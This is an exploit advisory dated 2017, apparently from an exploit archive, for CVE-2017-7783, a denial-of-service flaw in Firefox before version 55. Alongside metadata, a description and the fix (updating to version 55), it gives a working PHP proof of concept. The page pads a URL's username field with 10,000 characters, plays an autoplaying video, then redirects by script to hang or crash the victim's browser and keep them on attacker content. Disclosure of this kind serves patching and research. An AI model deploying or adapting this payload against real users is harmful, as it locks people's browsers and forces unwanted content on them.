Mozilla Firefox Username Denial Of Service
Posted on 20 October 2017
# Exploit Title: Mozilla Firefox < 55 - Forcibly make someone view a web content # Category: Denial of Service # Date: 5/11/17 # CVE : CVE-2017-7783 # Affected Version: < Mozilla Firefox 55 # Tested on: Windows/Linux # Software Link: https://www.mozilla.org/en-US/firefox/52.0/releasenotes/ # Exploit Author: Amit Sangra # Website: http://CyberCriminals.net # Description: If a long user name is used in a username/password combination in a site URL (such as http://UserName:Password@example.com), the resulting modal prompt will hang in a non-responsive state or crash, causing a denial of service. # Impact: An attacker can create a webpage having some content and exploit. Now once a victim visits this webpage, his browser gets locked out and he is forcibly made to view attacker supplied content. # Exploit: <?php $exploit=str_repeat(chr(0x41),10000); $location="http://Username".$exploit.":Password@Firefox.com"; echo "<center><h1>Firefox Lockout Vulnerability</h1>"; //Content to be forcibly viewed echo "<iframe width=854 height=480 src=https://www.youtube.com/embed/QH2-TGUlwu4?autoplay=1 frameborder=0 allowfullscreen></iframe></center>"; //End echo "<script>setTimeout("location.href ='".$location."';",10000);</script>"; ?> # Solution: Update to version 55 https://www.mozilla.org/en-US/firefox/55.0/releasenotes/ # Mozilla Foundation Security Advisory: https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7783
